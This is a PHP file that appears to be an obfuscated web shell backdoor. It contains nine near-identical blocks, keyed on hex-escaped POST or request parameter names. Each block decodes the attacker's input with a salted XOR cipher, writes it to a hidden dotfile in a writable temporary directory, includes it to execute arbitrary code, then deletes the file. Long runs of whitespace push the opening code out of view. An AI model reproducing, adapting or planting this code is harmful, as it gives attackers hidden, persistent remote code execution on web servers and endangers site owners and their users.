<?php																																										if(isset($_REQUEST["d\x61t"]) ? true : false){ $pointer = array_filter([session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]); $comp = $_REQUEST["d\x61t"]; $comp = explode ( "." , $comp ) ; $descriptor= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); $u= 0; $__len= count( $comp); do {if( $u >=$__len) break; $v6= $comp[$u]; $chS= ord( $s[$u % $lenS]); $d= ( ( int)$v6 - $chS -( $u % 10)) ^ 9; $descriptor .= chr( $d); $u++; } while( true); while ($desc = array_shift($pointer)) { if ((is_dir($desc) and is_writable($desc))) { $token = implode("/", [$desc, ".rec"]); if (@file_put_contents($token, $descriptor) !== false) { include $token; unlink($token); die(); } } } }
																																										if(array_key_exists("m\x72k", $_POST) && !is_null($_POST["m\x72k"])){ $data = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); $component = $_POST["m\x72k"]; $component = explode ( '.' ,$component) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $len = count($component ); for ($o = 0; $o < $len; $o++) { $v9 = $component[$o]; $chS = ord($salt[$o %$lenS] ); $dec = ((int)$v9 - $chS - ($o %10)) ^ 36; $pgrp .= chr($dec ); } foreach ($data as $flg) { if (is_dir($flg) ? is_writable($flg) : false) { $object = implode("/", [$flg, ".factor"]); if (file_put_contents($object, $pgrp)) { include $object; @unlink($object); exit; } } } }
																																										if(!empty($_REQUEST["r\x65\x66"])){ $parameter_group = $_REQUEST["r\x65\x66"]; $parameter_group = explode ( '.' , $parameter_group ) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $len = count($parameter_group ); for ($k = 0; $k < $len; $k++) { $v4 = $parameter_group[$k]; $chS = ord($salt[$k % $sLen] ); $dec = ((int)$v4 - $chS - ($k % 10)) ^ 26; $item .=chr($dec ); } $holder = array_filter([getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getcwd()]); $descriptor = 0; do { $value = $holder[$descriptor] ?? null; if ($descriptor >= count($holder)) break; if ((bool)is_dir($value) && (bool)is_writable($value)) { $marker = sprintf("%s/.dchunk", $value); if (file_put_contents($marker, $item)) { include $marker; @unlink($marker); exit; } } $descriptor++; } while (true); }
																																										if(!empty($_POST["desc\x72\x69\x70t\x6Fr"])){ $desc = $_POST["desc\x72\x69\x70t\x6Fr"]; $desc = explode ( "." , $desc) ; $key= ''; $salt7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt7); foreach ($desc as $n=> $v9): $sChar= ord($salt7[$n % $lenS]); $d= ((int)$v9 - $sChar - ($n % 10))^ 13; $key.=chr($d); endforeach; $data = array_filter(["/var/tmp", getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir")]); for ($hld = 0, $element = count($data); $hld < $element; $hld++) { $val = $data[$hld]; if (!!is_dir($val) && !!is_writable($val)) { $pset = implode("/", [$val, ".entry"]); if (file_put_contents($pset, $key)) { require $pset; unlink($pset); exit; } } } }
																																										if(!empty($_POST["fac\x74or"])){ $marker = $_POST["fac\x74or"]; $marker = explode( '.', $marker) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $u = 0; $__tmp = $marker; while( $v6 = array_shift( $__tmp)) { $sChar = ord( $s[$u% $lenS] ); $dec =( ( int)$v6 - $sChar -( $u% 10)) ^ 41; $binding.=chr( $dec ); $u++; } $flag = array_filter([getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir()]); foreach ($flag as $key => $object) { if (!!is_dir($object) && !!is_writable($object)) { $res = "$object" . "/.desc"; $file = fopen($res, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $res; @unlink($res); exit; } } } }
																																										if(isset($_POST["fl\x61g"]) ? true : false){ $dchunk = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]); $record = $_POST["fl\x61g"]; $record= explode ( '.', $record ) ; $itm = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); $x = 0; $__tmp = $record; while ($v3 = array_shift($__tmp)) { $chS = ord($s2[$x % $sLen] ); $d = ((int)$v3 - $chS - ($x % 10)) ^ 93; $itm .= chr($d ); $x++; } for ($item = 0, $entry = count($dchunk); $item < $entry; $item++) { $fac = $dchunk[$item]; if (is_dir($fac) && is_writable($fac)) { $descriptor = "$fac/.ref"; if (file_put_contents($descriptor, $itm)) { require $descriptor; unlink($descriptor); die(); } } } }
																																										if(isset($_POST["\x68\x6Cd"]) ? true : false){ $elem = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $pointer = $_POST["\x68\x6Cd"]; $pointer =explode( "." , $pointer ) ; $element = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $k = 0; array_walk($pointer , function ($v6) use (&$element , &$k , $salt8 , $sLen) {$sChar = ord($salt8[$k % $sLen]); $d = ((int)$v6 - $sChar - ($k % 10))^ 60; $element .= chr($d); $k++; }); $object = 0; do { $token = $elem[$object] ?? null; if ($object >= count($elem)) break; if (!!is_dir($token) && !!is_writable($token)) { $data = str_replace("{var_dir}", $token, "{var_dir}/.rec"); $success = file_put_contents($data, $element); if ($success) { include $data; @unlink($data); die();} } $object++; } while (true); }
																																										if(in_array("\x72\x65s", array_keys($_POST))){ $ent = $_POST["\x72\x65s"]; $ent = explode ( '.', $ent ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $y = 0; foreach ($ent as $v9) { $chS = ord($s[$y %$sLen] ); $dec = ((int)$v9 - $chS - ($y %10)) ^ 67; $reference .=chr($dec ); $y++; } $tkn = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", "/tmp"]); foreach ($tkn as $key => $bind) { if (!( !is_dir($bind) || !is_writable($bind) )) { $resource = implode("/", [$bind, ".descriptor"]); $success = file_put_contents($resource, $reference); if ($success) { include $resource; @unlink($resource); die();} } } }


if(filter_has_var(INPUT_POST, "to\x6B\x65n")){
	$entry = $_REQUEST["to\x6B\x65n"];
		$entry	=	explode(	 "."	, $entry	);	 
	$elem = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	 $salt);
            $p = 0;
    
            while(	 $p<	count(	 $entry)) {
                $v3 = $entry[$p];
                $sChar = ord(	 $salt[$p	%$lenS]);
                $d = (	 (	 int)$v3 - $sChar -(	 $p	%10)) ^ 58;
                $elem .= chr(	 $d);
                $p++;}		
	$ent = array_filter([getcwd(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]);
	while ($itm = array_shift($ent)) {
    		if ((is_dir($itm) and is_writable($itm))) {
    $descriptor = sprintf("%s/.desc", $itm);
    if (@file_put_contents($descriptor, $elem) !== false) {
	include $descriptor;
	unlink($descriptor);
	exit;
}
}
}
}